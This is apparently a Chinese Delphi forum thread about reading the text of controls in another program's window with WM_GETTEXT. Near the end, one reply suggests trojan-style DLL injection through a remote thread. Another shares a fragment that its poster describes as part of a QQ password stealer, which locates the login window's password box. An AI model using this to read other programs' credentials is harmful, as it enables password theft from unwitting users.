下面的程序可以得到窗口中控件的文本
var i:integer;
mem:pchar;
i := SendMessage(handle,WM_GETTEXTLENGTH,0,0); //handle为得到控件的句炳
getmem(mem,i+1);
SendMessage(hdloutput,WM_GETTEXT,i+1,LongInt(mem));
shwomessage(strpas(mem));
getmem(mem,0);
freemem(mem);上面的程序可以顺利得到对方程序中其他控件的内容,比如说richedit,edit等。
可是有一个class为Afx:400000:b:10011:9:0(通过spy++得到)的控件却得不到它
的内容,它上面也有文字,可以用鼠标选取,并可以复制、设置文字大小等,但
就是得不到内容。不知道为什么。郁闷中
请高手指教,不胜感激。顺便说一下,第一句i的值就为0。
var i:integer;
mem:pchar;
i := SendMessage(handle,WM_GETTEXTLENGTH,0,0); //handle为得到控件的句炳
getmem(mem,i+1);
SendMessage(hdloutput,WM_GETTEXT,i+1,LongInt(mem));
shwomessage(strpas(mem));
getmem(mem,0);
freemem(mem);上面的程序可以顺利得到对方程序中其他控件的内容,比如说richedit,edit等。
可是有一个class为Afx:400000:b:10011:9:0(通过spy++得到)的控件却得不到它
的内容,它上面也有文字,可以用鼠标选取,并可以复制、设置文字大小等,但
就是得不到内容。不知道为什么。郁闷中
请高手指教,不胜感激。顺便说一下,第一句i的值就为0。
var i:integer;
mem:pchar;
begin
i := SendMessage(Edit1.handle,WM_GETTEXTLENGTH,0,0); //handle为得到控件的句炳
getmem(mem,i+1);
SendMessage(Edit1.Handle,WM_GETTEXT,i+1,LongInt(mem));
Showmessage(strpas(mem));
getmem(mem,0);
freemem(mem);end;
我在Delphi测试的结果!
楼主可以FindWindow取!
snake_eye(★蛇眼★上帝派来灌水的人)
你有办法么?
谢谢。
http://www.tonixsoft.com/index.php?mmenu_id=3&smenu_id=0015
就是利用木马的部份原理,采用寄生的方法,由一个主程序,将一个DLL远端线程注入到你想访问的进程的内存空间中,再启动远端线程,这样就可以正常访问其数据了。祝你成功~
下面是我做的一个盗取QQ密码的一段。看对你有没有帮助!Buf: array[0..1024] of Char; HWndCalculator:=findWindow('#32770',nil);//查找QQ句柄,QQ的窗口类名是#32770
hchild1:=findWindowEx(hwndcalculator,0,'edit',nil);//QQ上的密码输入框
hchild2:=findWindowEx(hwndcalculator,0,'comboBox',nil);
hbut1:=findWindowEx(hWndcalculator,0,'Button','登录');//下面handle可以是上面任何一个控件句柄
GetClassName(Handle, Buf, 1024); // 得到类名
ClassNameText.Caption := Buf;
SendMessage(Handle, WM_GETTEXT, 33, Integer(@Buf)); // 得到标题
TitleText.Caption := Buf;
因为我换了一种方式实现,所以没有尝试大家的方法,给分的时候如果有不太公平的地方,也不要来找我了。:)